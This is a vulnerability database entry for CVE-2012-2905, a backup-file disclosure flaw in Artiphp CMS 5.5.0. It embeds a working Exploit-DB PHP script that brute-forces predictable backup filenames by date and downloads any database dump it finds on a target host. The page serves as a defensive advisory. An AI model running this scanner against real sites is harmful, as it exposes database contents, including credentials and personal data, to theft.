CVE-2012-2905

medium
Published 2012-05-21 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.0

Description

Artiphp CMS 5.5.0 Neo (r422) stores database backups with predictable names under the web root with insufficient access control, which allows remote attackers to obtain sensitive information via a direct request.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18889 webapps php verified php ยท 3 KB
LiquidWorm ยท 2012-05-16

Artiphp CMS 5.5.0 - Database Backup Disclosure

php exploit Source: Exploit-DB
<?php

/*

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit


Vendor: Artiphp
Product web page: http://www.artiphp.com
Affected version: 5.5.0 Neo (r422)

Summary: Artiphp is a content management system (CMS) open
and free to create and manage your website.

Desc: Artiphp stores database backups using backupDB() utility
with a predictable file name inside the web root, which can be
exploited to disclose sensitive information by downloading the
file. The backup is located in '/artzone/artpublic/database/'
directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.8 / 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5091
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php


15.05.2012

*/

error_reporting(0);

print "\no==========================================================o\n";
print "|                                                          |";
print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit     |\n";
print "|                                                          |\n";
print "|\t\t\tby LiquidWorm                      |\n";
print "|                                                          |";
print "\no==========================================================o\n";

if ($argc < 3)
{
    print "\n\n\x20[*] Usage: php $argv[0] <host> <port>\n\n\n";
    die();
}

$godina_array = array('2012','2011','2010');

$mesec_array = array('12','11','10','09',
		     '08','07','06','05',
		     '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
		  '25','24','23','22','21','20',
		  '19','18','17','16','15','14',
		  '13','12','11','10','09','08',
		  '07','06','05','04','03','02',
		  '01');

$backup_array = array('full','structure','partial');

$host = $argv[1];
$port = intval($argv[2]);
$path = "/artiphp/artzone/artpublic/database/"; // change per need.

$alert1 = "\033[0;31m";
$alert2 = "\033[0;37m";

foreach($godina_array as $godina)
{
	print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";
	sleep(2);
	foreach($mesec_array as $mesec)
	{
		foreach($dn_array as $dn)
		{
			print "~";
			foreach($backup_array as $backup)
			{
				if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))
				{
					print "\n\n\x20[!] DB backup file discovered!\n\n";
					echo $alert1;
					print "\x20==>\x20";
					echo $alert2;
					die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");
				}
			}
		}
	}
}

print "\n\n\x20[*] Zero findings.\n\n\n"

?>

Application impact

VendorProductVersionsFixed
artiphpartiphp_cms5.5.0

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.